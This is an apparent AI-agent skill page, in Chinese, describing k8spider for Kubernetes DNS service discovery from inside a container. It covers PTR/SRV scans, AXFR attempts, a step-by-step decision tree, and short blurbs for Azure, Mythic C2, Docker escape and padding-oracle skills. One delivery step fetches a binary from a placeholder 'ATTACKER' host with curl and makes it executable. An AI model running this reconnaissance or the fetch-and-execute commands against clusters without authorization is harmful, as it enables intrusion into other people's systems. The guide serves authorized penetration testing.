skills/tool/k8spider/SKILL.md
使用 k8spider 进行 Kubernetes 集群 DNS 服务发现与侦察。当需要低权限枚举 K8s 集群中的 Service、探测 DNS 服务、扫描网段 PTR/SRV 记录、尝试 AXFR 区域传输时使用。k8spider 仅需 DNS 访问权限即可发现集群内所有服务,无需 API Server 权限。涉及 K8s 服务发现、DNS 侦察、集群信息收集、PTR 扫描、SRV 枚举的场景使用此技能。当用户提到 k8spider、K8s DNS 枚举、集群服务扫描、DNS 区域传输时也应触发
npx skillsauth add wgpsec/AboutSecurity k8spiderInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
k8spider 是一个基于 DNS 的 K8s 服务发现工具——只需能访问集群 DNS,即可低权限枚举所有 Service。无需 API Server Token,无需特殊权限,纯 DNS 查询搞定。
项目地址:https://github.com/Esonhugh/k8spider
k8spider 会从 /etc/resolv.conf 自动读取 DNS 服务器地址,使用内置默认 CIDR。先直接跑:
k8spider all
如果有输出,说明默认参数命中了,直接进入分析环节。
如果 k8spider all 没有发现任何信息,说明默认 CIDR 或 DNS 不对,需要从当前机器收集真实参数。
CIDR 网段需要从当前容器的网络配置中提取:
# 方式 1:从环境变量获取(K8s 注入)
echo $KUBERNETES_SERVICE_HOST
# 返回的 IP 所在网段通常就是 Service CIDR 范围
# 方式 2:从 IP 地址推断
ip addr show # 或 ifconfig
# 找到容器自身 IP 和掩码,推断所在网段
# 方式 3:从路由表推断
ip route
# 查看路由信息,推断集群网段范围
Pod 网段和 Service 网段通常是相邻的 /16,可从容器自身 IP 推断 Service CIDR 的可能范围。
DNS 地址必须通过可靠方式找到并验证可用:
# 方式 1:从 resolv.conf 读取(最可靠)
cat /etc/resolv.conf
# nameserver 行就是集群 DNS 地址
# 方式 2:用 k8spider 自带命令定位
k8spider whereisdns
# 验证 DNS 是否可达且响应
nslookup kubernetes.default.svc.cluster.local <DNS_IP>
# 或
dig @<DNS_IP> kubernetes.default.svc.cluster.local
# 有正常应答说明 DNS 可用
验证通过后再指定 DNS 运行:
k8spider all -d <DNS_IP> -c <CIDR>
一键跑完所有发现方式,获取最全面的服务列表:
# 先用默认参数试
k8spider all
# 默认不生效时,用手动收集的参数
k8spider all -c <CIDR> -d <DNS_IP>
# 输出示例:
# [PTR] 10.43.0.10 -> dns-default.kube-system.svc.cluster.local
# [PTR] 10.43.0.1 -> kube-dns.kube-system.svc.cluster.local
# [SRV] _http._tcp.kubernetes.default.svc.cluster.local -> 10.43.0.1:443
通过 IP 反查域名,逐 IP 扫描网段:
k8spider ptr -c <CIDR>
PTR 扫描的逻辑:对 CIDR 中每个 IP 发起反向 DNS 查询,K8s DNS 会返回 svc-name.namespace.svc.cluster.local 格式的域名,直接暴露服务名和命名空间。
查询 DNS SRV 记录发现服务端口:
k8spider srv -c <CIDR> -z cluster.local
利用 K8s DNS 的通配符解析特性发现服务:
k8spider wild -c <CIDR> -z cluster.local
尝试 DNS 区域传输,一次获取整个 zone 的所有记录:
k8spider axfr -z cluster.local -d <DNS_IP>
注意:AXFR 通常被限制,但值得一试——如果成功,这是最快最全的方式。
发现 DNS 服务所在子网的服务:
k8spider neighbor -d <DNS_IP>
自动计算 DNS 服务所在子网并扫描:
k8spider subnet -d <DNS_IP>
从 kube-state-metrics 端点提取服务信息:
k8spider metrics
| 选项 | 说明 | 默认值 |
|------|------|--------|
| -c | 目标 CIDR 网段 | 内置默认值,视环境而定 |
| -z | DNS zone 名称 | cluster.local |
| -d | DNS 服务器地址 | 从 resolv.conf 读取 |
| -t | 启用多线程 | 关闭 |
| -n | 线程数 | 10 |
# 投递二进制到容器
curl -o /tmp/k8spider https://ATTACKER/k8spider && chmod +x /tmp/k8spider
# 直接用默认参数跑
/tmp/k8spider all
# 没结果再收集网络信息手动指定
# 在现有 Pod 中执行
kubectl exec -it target-pod -- ./k8spider all
# 或创建临时 Pod
kubectl run k8spider --image=busybox --restart=Never -- \
wget -O /tmp/k8spider URL && /tmp/k8spider all
# 必须手动指定 -d 和 -c,远程环境下默认参数基本不适用
k8spider all -c <CIDR> -d <DNS_IP> -z cluster.local
进入容器后:
├─ 第一步:k8spider all(直接用默认参数跑)
├─ 有结果 → 分析输出,拿到服务列表
├─ 无结果 → 收集网络信息
│ ├─ 获取 CIDR:从 ip addr / ifconfig / 环境变量推断
│ ├─ 获取 DNS:cat /etc/resolv.conf 或 k8spider whereisdns
│ └─ 验证 DNS:nslookup kubernetes.default.svc.cluster.local <DNS_IP>
├─ 用收集到的参数重跑:k8spider all -c <CIDR> -d <DNS_IP>
├─ 想要端口信息 → k8spider srv
├─ 赌一把全量 → k8spider axfr
├─ 想快速发现 → k8spider neighbor / k8spider subnet
├─ 有 metrics 端点 → k8spider metrics
└─ 网段大、速度慢 → 加 -t -n 50 开多线程
testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能